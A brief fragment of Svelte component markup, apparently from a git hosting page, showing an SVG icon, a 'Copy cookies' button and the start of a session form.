d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z"
|
||||
></path>
|
||||
</svg>
|
||||
Copy cookies
|
||||
</button>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
<FormGrid on:submit={onSessionSushiModalOk}>
|
||||
<FormColumns>
|
||||
|
||||
Reference in New Issue
Block a user